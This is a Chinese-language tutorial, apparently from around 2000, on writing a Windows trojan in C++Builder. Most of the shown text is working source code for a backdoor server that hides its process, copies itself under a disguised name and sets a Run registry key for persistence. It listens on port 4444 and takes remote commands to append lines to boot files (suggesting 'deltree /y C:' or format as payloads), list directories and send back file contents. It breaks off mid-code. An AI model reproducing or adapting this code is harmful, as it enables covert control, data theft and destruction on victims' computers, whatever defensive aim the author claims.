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木马制作

木马是如何编写的

(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布BackOrifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!

要知道,木马(Trojan)的历史是很悠久的:

早在AT&TUnix和BSDUnix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。

那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。

国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。

直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?

木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。

为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。

目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

 启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:

一个是Internet页中的ServerSocket,另两个是Fastnet页中的NMFTP和NMSMTP。

ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。

Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(FileTransferProtocol文件传输协议)和SMTP(SimpleMailTransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

  Form窗体是可视的,这当然是不可思议的。

不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。

因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

  我们首先应该让我们的程序能够隐身。

双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。

这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。

因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。

不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

  首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORDdwVersion=GetVersion();

//得到操作系统的版本号

if(dwVersion>=0x80000000)

//操作系统是Win9x,不是WinNt

 {

  typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

    //定义RegisterServiceProcess()函数的原型

    HINSTANCEhDLL;

   LPREGISTERSERVICEPROCESSlpRegisterServiceProcess;

   hDLL=LoadLibrary("KERNEL32");

   //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

  lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

    //得到RegisterServiceProcess()函数的地址

    lpRegisterServiceProcess(GetCurrentProcessId(),1);

   //执行RegisterServiceProcess()函数,隐藏本进程

   FreeLibrary(hDLL);

   //卸载动态链接库

 }

}

  这样就终于可以隐身了(害我敲了这么多代码!

)。

为什么要判断操作系统呢?

因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

 接着再将自己拷贝一份到%System%目录下,例如:

C:

\Windows\System,并修改注册表,以便启动时自动加载:

{ 

charTempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\Tapi32.exe").c_str(),FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=newTRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

 {

  //如果以下语句发生异常,跳至catch,以避免程序崩溃

  if(Registry->ReadString("crossbow")!

=SystemPath+"\\Tapi32.exe")

   Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

   //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

   //如果不是,就写入以上键值和内容

 }

catch(...)

 {

 //如果有错误,什么也不做

 }

}

  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

  接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。

再将Port填入4444,这是木马的端口号,当然你也可以用别的。

但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。

你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTPControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

 FILE*fp=NULL;

 char*content;

 inttimes_of_try;

 charTempFile[MAX_PATH];

 //定义了一堆待会儿要用到的变量

 sprintf(TempFile,"%s",AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用

 AnsiStringtemp=Socket->ReceiveText();

 //接收客户端(攻击者,也就是你自己)传来的数据

}

  好,大门敞开了!

接着就是修改目标机的各种配置了!

^_^首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="editconf")

 //如果接受到的字符串的前9个字符是“editconf”

 {

   intnumber=temp.Length();

   //得到字符串的长度

   intfile_name=atoi((temp.SubString(11,1)).c_str());

   //将第11个字符转换成integer型,存入file_name变量

   //为什么要取第11个字符,因为第10个字符是空格字符

   content=(temp.SubString(12,number-11)+'\n').c_str();

   //余下的字符串将被作为写入的内容写入目标文件

   FILE*fp=NULL;

   charfilename[20];

   chmod("c:

\\autoexec.bat",S_IREAD|S_IWRITE);

   chmod("c:

\\config.sys",S_IREAD|S_IWRITE);

   //将两个目标文件的属性改为可读可写

   if(file_name==1)

    sprintf(filename,"%s","c:

\\autoexec.bat");

    //如果第11个字符是1,就把Autoexec.bat格式化

   elseif(file_name==2)

    sprintf(filename,"%s","c:

\\config.sys");

    //如果第11个字符是1,就把Config.sys格式化

   times_of_try=0;

  //定义计数器

   while(fp==NULL)

    {

     //如果指针是空

    fp=fopen(filename,"a+");

    //如果文件不存在,创建之;如果存在,准备在其后添加

    //如果出错,文件指针为空,这样就会重复

    times_of_try=times_of_try+1;

    //计数器加1

    if(times_of_try>100)

    {

      //如果已经试了100次了,仍未成功

      Socket->SendText("FailByOpenFile");

      //就发回“FailByOpenFile”的错误信息

      gotoEND;

      //跳至END处

    }

    }

   fwrite(content,sizeof(char),strlen(content),fp);

   //写入添加的语句,例如deltree/yC:

或者format/q/autotestC:

,够毒吧?

   fclose(fp);

   //写完后关闭目标文件

   Socket->SendText("Sucess");

   //然后发回“Success”的成功信息

 }

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

elseif(temp.SubString(0,3)=="dir")

{

  //如果前3个字符是“dir”

  intRead_Num;

  char*CR_LF="\n";

  intattrib;

  char*filename;

  DIR*dir;

  structdirent*ent;

  intnumber=temp.Length();

  //得到字符串的长度

  AnsiStringDir_Name=temp.SubString(5,number-3);

  //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

  if(Dir_Name=="")

   {

    //如果目录名为空

    Socket->SendText("FailByOpenDIR'sName");

    //返回“FailByOpenDIR'sName”信息

    gotoEND;

    //跳到END

   }

  char*dirname;

  dirname=Dir_Name.c_str();

  if((dir=opendir(dirname))==NULL)

   {

    //如果打开目录出错

    Socket->SendText("FailbyyourDIR'sname!

");

    //返回“FailByYourDIR'sName”信息

    gotoEND;

    //跳到END

   }

  times_of_try=0;

  while(fp==NULL)

   {

    //如果指针是NULL

    fp=fopen(TempFile,"w+");

    //就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

    times_of_try=times_of_try+1;

    //计数器加1

    if(times_of_try>100)

      {

      //如果已经试了100次了,仍未成功(真有耐心!

      Socket->SendText("FailByOpenFile");

      //就发回“FailByOpenFile”的错误信息

      gotoEND;

      //并跳到END处

      }

   }

  while((ent=readdir(dir))!

=NULL)

   {

    //如果访问目标目录成功

    if(*(AnsiString(dirname)).AnsiLastChar()!

='\\')

    //如果最后一个字符不是“\”,证明不是根目录

     filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

     //加上“\”字符后将指针指向目录流

    else

     filename=(AnsiString(dirname)+ent->d_name).c_str();

     //如果是根目录,则不用加“\”

    attrib=_rtl_chmod(filename,0);

    //得到目标文件的访问属性

    if(attrib&FA_RDONLY)

    //“&”字符是比较前后两个变量,如果相同返回1,否则返回0

     fwrite("R",sizeof(char),3,fp);

     //将目标文件属性设为只读

    else

     fwrite("",sizeof(char),3,fp);

     //失败则写入空格

    if(attrib&FA_HIDDEN)

     fwrite("H",sizeof(char),1,fp);

     //将目标文件属性设为隐藏

    else

     fwrite("",sizeof(char),1,fp);

     //失败则写入空格

    if(attrib&FA_SYSTEM)

     fwrite("S",sizeof(char),1,fp);

     //将目标文件属性设为系统

    else

     fwrite("",sizeof(char),1,fp);

     //失败则写入空格

    if(attrib&FA_ARCH)

     fwrite("A",sizeof(char),1,fp);

     //将目标文件属性设为普通

    else

     fwrite("",sizeof(char),1,fp);

     //失败则写入空格

    if(attrib&FA_DIREC)

     fwrite("

",sizeof(char),9,fp);

     //将目标文件属性设为目录

    else

     fwrite("    ",sizeof(char),9,fp);

     //失败则写入空格

    fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

    //将目录名写入目标文件

    fwrite(CR_LF,1,1,fp);

    //写入换行

   }

   fclose(fp);

   //关闭文件

   closedir(dir);

   //关闭目录

   FILE*fp1=NULL;

   times_of_try=0;

   while(fp1==NULL)

    {

     fp1=fopen(TempFile,"r");

     //打开Win369.bat准备读

     times_of_try=times_of_try+1;

     //计数器加1

     if(times_of_try>100)

     {

      //如果已经试了100次了,仍未成功

      Socket->SendText("FailByOpenFile");

      //就发回“FailByOpenFile”的错误信息

      gotoEND;

      //并跳到END处

     }

    }

   AnsiStringReturn_Text="";

   chartemp_content[300];

   for(inti=0;i<300;i++)temp_content[i]='\0';

   //定义的一个空数组

   Read_Num=fread(temp_content,1,300,fp1);

   //从目标文件中读入前300个字符

   while(Read_Num==300)

   {

    Return_Text=Return_Text+temp_content;

    //Return_Text变量加上刚才的300个字符

    for(inti=0;i<300;i++)temp_content[i]='\0';

    Read_Num=fread(temp_content,1,300,fp1);

    //重复

   };

   Return_Text=Return_Text+temp_content;

   //Return_Text变量加上刚才的300个字符

   fclose(fp1);

   //关闭目标文件

   Socket->SendText(Return_Text);

   //返回Return_Text变量的内容

  }

}

 够长吧?

察看目录树这么费劲啊?

你后面可以用BCB中的各种列表框对Client.exe好好美化美化。

接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?

):

{

elseif(temp.SubString(0,4)=="type")

{

  //如果前4个字符是“type”

  intRead_Num;

  intnumber=temp.Length();

  AnsiStringFile_Name=temp.SubString(6,number-4);

  //将目标文件流存入File_Name变量中

  times_of_try=0;

  while(fp==NULL)

   {

    fp=fopen(File_Name.c_str(),"r");

    //打开目标文件准备读

    times_of_try=times_of_try+1;

    //计数器加1

    if(times_of_try>100)

    {

     //如果已试了100次了

      Socket->SendText("FailByOpenFile");

      //返回“FailByOpenFile”的错误信息

      gotoEND;

      //跳到END

    }

   }

  AnsiStringReturn_Text="";

  chartemp_content[300];

  for(inti=0;i<300;i++)temp_content[i]='\0';

  //定义一个空数组

  Read_Num=fread(temp_content,1,300,fp);

  //从目标文件中读入前300个字符

  while(Read_Num==300)

   {

    R

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